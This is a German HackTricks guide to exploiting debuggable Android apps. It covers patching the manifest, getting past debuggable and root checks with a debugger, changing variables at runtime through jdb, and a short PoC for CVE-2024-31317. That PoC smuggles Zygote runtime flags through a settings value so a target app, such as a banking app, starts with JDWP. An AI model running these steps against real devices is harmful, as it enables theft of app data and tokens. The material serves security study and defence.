Ausnutzen einer debugbaren Anwendung

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Umgehung von Root- und debugbaren Prüfungen

Dieser Abschnitt des Beitrags ist eine Zusammenfassung des Beitrags https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Schritte, um eine Android-App debugbar zu machen und Prüfungen zu umgehen

Die App debugbar machen

Inhalt basierend auf https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

  1. APK dekompilieren:
  • Verwenden Sie das APK-GUI-Tool zum Dekompilieren der APK.
  • Fügen Sie in der android-manifest-Datei android:debuggable="true" hinzu, um den Debugging-Modus zu aktivieren.
  • Kompilieren Sie die modifizierte Anwendung neu, signieren Sie sie und zipalign.
  1. Die modifizierte Anwendung installieren:
  • Verwenden Sie den Befehl: adb install <application_name>.
  1. Den Paketnamen abrufen:
  • Führen Sie adb shell pm list packages –3 aus, um Drittanbieteranwendungen aufzulisten und den Paketnamen zu finden.
  1. Die App auf die Verbindung des Debuggers warten lassen:
  • Befehl: adb shell am setup-debug-app –w <package_name>.
  • Hinweis: Dieser Befehl muss jedes Mal ausgeführt werden, bevor die Anwendung gestartet wird, um sicherzustellen, dass sie auf den Debugger wartet.
  • Für Persistenz verwenden Sie adb shell am setup-debug-app –w ––persistent <package_name>.
  • Um alle Flags zu entfernen, verwenden Sie adb shell am clear-debug-app <package_name>.
  1. Für das Debugging in Android Studio vorbereiten:
  • Navigieren Sie in Android Studio zu Datei -> Profil oder APK öffnen.
  • Öffnen Sie die neu kompilierte APK.
  1. Breakpoints in wichtigen Java-Dateien setzen:
  • Setzen Sie Breakpoints in MainActivity.java (insbesondere in der onCreate-Methode), b.java und ContextWrapper.java.

Umgehung von Prüfungen

Die Anwendung wird an bestimmten Punkten überprüfen, ob sie debugbar ist, und auch nach Binärdateien suchen, die auf ein gerootetes Gerät hinweisen. Der Debugger kann verwendet werden, um Anwendungsinformationen zu ändern, das debugbare Bit zurückzusetzen und die Namen der gesuchten Binärdateien zu ändern, um diese Prüfungen zu umgehen.

Für die debugbare Prüfung:

  1. Flag-Einstellungen ändern:
  • Navigieren Sie im Variablenbereich der Debugger-Konsole zu: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • Hinweis: Die binäre Darstellung von flags = 814267974 ist 11000011100111011110, was darauf hinweist, dass das "Flag_debuggable" aktiv ist.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

Diese Schritte stellen sicher, dass die Anwendung debuggt werden kann und dass bestimmte Sicherheitsprüfungen mit Hilfe des Debuggers umgangen werden können, was eine eingehendere Analyse oder Modifikation des Verhaltens der Anwendung ermöglicht.

Schritt 2 beinhaltet das Ändern eines Flagwerts auf 814267972, was binär als 110000101101000000100010100 dargestellt wird.

Ausnutzen einer Schwachstelle

Eine Demonstration wurde mit einer verwundbaren Anwendung durchgeführt, die einen Button und ein Textview enthält. Zunächst zeigt die Anwendung "Crack Me". Ziel ist es, die Nachricht von "Try Again" zu "Hacked" zur Laufzeit zu ändern, ohne den Quellcode zu modifizieren.

Überprüfung auf Verwundbarkeit

  • Die Anwendung wurde mit apktool dekompiliert, um auf die AndroidManifest.xml-Datei zuzugreifen.
  • Das Vorhandensein von android_debuggable="true" in der AndroidManifest.xml zeigt an, dass die Anwendung debugbar und anfällig für Ausnutzung ist.
  • Es ist erwähnenswert, dass apktool ausschließlich verwendet wird, um den debugbaren Status zu überprüfen, ohne den Code zu ändern.

Vorbereitung des Setups

  • Der Prozess umfasste das Starten eines Emulators, das Installieren der verwundbaren Anwendung und die Verwendung von adb jdwp, um die hörenden Dalvik-VM-Ports zu identifizieren.
  • Das JDWP (Java Debug Wire Protocol) ermöglicht das Debuggen einer Anwendung, die in einer VM läuft, indem ein einzigartiger Port bereitgestellt wird.
  • Portweiterleitung war notwendig für das Remote-Debugging, gefolgt von der Anbindung von JDB an die Zielanwendung.

Code zur Laufzeit injizieren

  • Die Ausnutzung wurde durch das Setzen von Breakpoints und das Steuern des Anwendungsflusses durchgeführt.
  • Befehle wie classes und methods <class_name> wurden verwendet, um die Struktur der Anwendung zu enthüllen.
  • Ein Breakpoint wurde in der onClick-Methode gesetzt, und dessen Ausführung wurde gesteuert.
  • Die Befehle locals, next und set wurden verwendet, um lokale Variablen zu inspizieren und zu ändern, insbesondere um die Nachricht "Try Again" in "Hacked" zu ändern.
  • Der modifizierte Code wurde mit dem Befehl run ausgeführt, wodurch die Ausgabe der Anwendung in Echtzeit erfolgreich geändert wurde.

Dieses Beispiel demonstrierte, wie das Verhalten einer debugbaren Anwendung manipuliert werden kann, und hebt das Potenzial für komplexere Ausnutzungen hervor, wie z.B. den Zugriff auf die Shell im Kontext der Anwendung.


2024 – Jede beliebige Anwendung in einen debugbaren Prozess umwandeln (CVE-2024-31317)

Selbst wenn die Ziel-APK nicht mit dem android:debuggable-Flag ausgeliefert wird, zeigte eine aktuelle Forschung, dass es möglich ist, beliebige Anwendungen zu zwingen, mit dem DEBUG_ENABLE_JDWP-Runtime-Flag zu starten, indem die Art und Weise, wie Zygote Befehlszeilenargumente analysiert, ausgenutzt wird.

  • Schwachstelle: Unzureichende Validierung von --runtime-flags, die über den Befehlsocket von Zygote bereitgestellt werden, ermöglicht es einem Angreifer, der system_server erreichen kann (zum Beispiel über die privilegierte adb-Shell, die die Berechtigung WRITE_SECURE_SETTINGS besitzt), zusätzliche Parameter einzufügen. Wenn der gestaltete Befehl von system_server wiederholt wird, wird die Opferanwendung als debuggable und mit einem JDWP-Thread, der lauscht, geforkt. Das Problem wird als CVE-2024-31317 verfolgt und wurde im Juni 2024 im Android-Sicherheitsbulletin behoben.
  • Auswirkungen: Voller Lese-/Schreibzugriff auf das private Datenverzeichnis jeder App (einschließlich privilegierter wie com.android.settings), Token-Diebstahl, MDM-Umgehung und in vielen Fällen ein direkter Weg zur Privilegieneskalation durch Ausnutzung exportierter IPC-Endpunkte des nun debugbaren Prozesses.
  • Betroffene Versionen: Android 9 bis 14 vor dem Patch-Level von Juni 2024.

Schnelles PoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

Der erstellte Wert in Schritt 1 bricht den Parser aus dem „Schnellpfad“ heraus und fügt einen zweiten synthetischen Befehl hinzu, bei dem --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) akzeptiert wird, als ob er vom Framework bereitgestellt worden wäre. Sobald die App gestartet ist, wird ein JDWP-Socket geöffnet und reguläre dynamische Debug-Tricks (Methodenersetzung, Variablenpatching, Live-Frida-Injektion usw.) sind möglich ohne die APK oder das Boot-Image des Geräts zu modifizieren.

Detection & Mitigation

  • Patch auf 2024-06-01 (oder später) Sicherheitslevel – Google hat ZygoteCommandBuffer gehärtet, sodass nachfolgende Befehle nicht auf diese Weise geschmuggelt werden können.
  • Beschränken Sie den Zugriff auf WRITE_SECURE_SETTINGS / shell auf Produktionsgeräten. Der Exploit benötigt diese Berechtigung, die normalerweise nur von ADB oder OEM-privilegierten Apps gehalten wird.
  • Bei EMM/MDM-gemanagten Flotten ro.debuggable=0 durchsetzen und Shell über adb disable-verifier verweigern.

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks